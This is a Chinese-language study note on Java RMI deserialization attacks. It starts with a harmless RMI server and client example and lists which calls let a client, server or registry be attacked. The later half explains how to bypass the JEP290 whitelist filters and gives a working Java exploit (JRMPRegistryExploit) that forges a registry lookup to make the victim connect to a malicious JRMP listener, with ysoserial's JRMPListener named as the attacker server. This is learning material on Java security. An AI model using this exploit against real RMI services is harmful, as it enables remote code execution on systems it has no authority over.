随手记得笔记.jpg
参考b站白日梦组长
流程原理
代码示例
服务端&注册中心
很少有人会把这两个分开放
官方文档:
出于安全原因,应用程序只能绑定或取消绑定到在同一主机上运行的注册中心。这样可以防止客户端删除或覆盖服务器的远程注册表中的条目。但是,查找操作是任意主机都可以进行的。
IRemoteObj.java:
1 2 3 4 5 6 7 8 9
| package org.example;
import java.rmi.Remote; import java.rmi.RemoteException;
public interface IRemoteObj extends Remote { public String sayHello(String keywords) throws RemoteException; }
|
RemoteObjlmpl:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| package org.example;
import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject;
public class RemoteObjlmpl extends UnicastRemoteObject implements IRemoteObj { public RemoteObjlmpl() throws RemoteException{ }
@Override public String sayHello(String keywords){ String upKeywords = keywords.toUpperCase(); System.out.println(upKeywords); return upKeywords; } }
|
RemoteServer:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| package org.example;
import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class RemoteServer { public static void main(String[] args) throws RemoteException, AlreadyBoundException { IRemoteObj remoteObj = new RemoteObjlmpl(); Registry r = LocateRegistry.createRegistry(1099); r.bind("remoteObj",remoteObj); } }
|
客户端
IRemoteObj.java:
1 2 3 4 5 6 7 8
| package org.example;
import java.rmi.Remote; import java.rmi.RemoteException;
public interface IRemoteObj extends Remote { public String sayHello(String keywords) throws RemoteException; }
|
rmiclient.java:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| package org.example;
import java.rmi.NotBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class rmiclient { public static void main(String[] args) throws RemoteException, NotBoundException { Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099); IRemoteObj remoteObj = (IRemoteObj) registry.lookup("remoteObj"); remoteObj.sayHello("Hello"); } }
|
关于DGC
前面简要提及了客户端、服务端、注册中心调用流程的反序列化
DGC的Stub会在发布远程对象时自动生成,分别是DGCClient的EndpointEntry的构造函数里和DGCImpl静态代码块里
DGC客户端每次调用dirty时都有可能被DGC服务端攻击,8u141会有过滤器
DGC服务端调用dirty时也存在反序列化,DGC服务端可能被客户端攻击
触发点总结
攻击客户端
RegistryImpl_Stub#lookup->注册中心攻击客户端
DGCImpl_Stub#dirty->服务端攻击客户端
UnicastRef#invoke->服务端攻击客户端
StreamRemoteCall#executeCall->服务端/注册中心攻击客户端
攻击服务端
UnicastServerRef#dispatch->客户端攻击服务端
DGCImpl_Skel#dispatch->客户端攻击服务端
攻击注册中心
RegistryImpl_Skel#dispatch->客户端/服务端攻击注册中心
高版本绕过
EP290
8u121之后,安全机制JEP290对RMI进行修复:
1.限制服务端和注册中心必须在同一host,这俩被强制绑定了
2.RegistryImpl_Skel里面的对象反序列化时会进行白名单校验
1 2 3 4 5 6 7 8 9 10 11 12 13
| if (String.class == clazz || java.lang.Number.class.isAssignableFrom(clazz) || Remote.class.isAssignableFrom(clazz) || java.lang.reflect.Proxy.class.isAssignableFrom(clazz) || UnicastRef.class.isAssignableFrom(clazz) || RMIClientSocketFactory.class.isAssignableFrom(clazz) || RMIServerSocketFactory.class.isAssignableFrom(clazz) || java.rmi.activation.ActivationID.class.isAssignableFrom(clazz) || java.rmi.server.UID.class.isAssignableFrom(clazz)) { return ObjectInputFilter.Status.ALLOWED; } else { return ObjectInputFilter.Status.REJECTED; }
|
3.DGCImpl_Skel和DGCImpl_Stub里面的对象反序列化时会进行白名单校验
1 2 3 4 5 6
| return (clazz == ObjID.class || clazz == UID.class || clazz == VMID.class || clazz == Lease.class) ? ObjectInputFilter.Status.ALLOWED : ObjectInputFilter.Status.REJECTED;
|
此时如何不受限制攻击客户端:
利用JRMP层的StreamRemoteCall#executeCall,由于触发点不在两个Impl里,可以直接绕过过滤
实施
流程如下:
构造恶意对象,让注册中心发起dirty请求
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| public class JRMPRegistryExploit { public static void main(String[] args) throws Exception{ RegistryImpl_Stub registry = (RegistryImpl_Stub) LocateRegistry.getRegistry("127.0.0.1", 1099); lookup(registry); }
public static void lookup(RegistryImpl_Stub registry) throws Exception {
Class RemoteObjectClass = registry.getClass().getSuperclass().getSuperclass(); Field refField = RemoteObjectClass.getDeclaredField("ref"); refField.setAccessible(true); UnicastRef ref = (UnicastRef) refField.get(registry);
Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
RemoteCall var2 = ref.newCall(registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(genEvilJRMPObj()); ref.invoke(var2);
} private static Object genEvilJRMPObj() { LiveRef liveRef = new LiveRef(new ObjID(), new TCPEndpoint("127.0.0.1", 7777), false); UnicastRef unicastRef = new UnicastRef(liveRef); return unicastRef; } }
|
这样受害者成了JRMP客户端导致被攻击
恶意服务端可直接用ysoserial/exploit/JRMPListener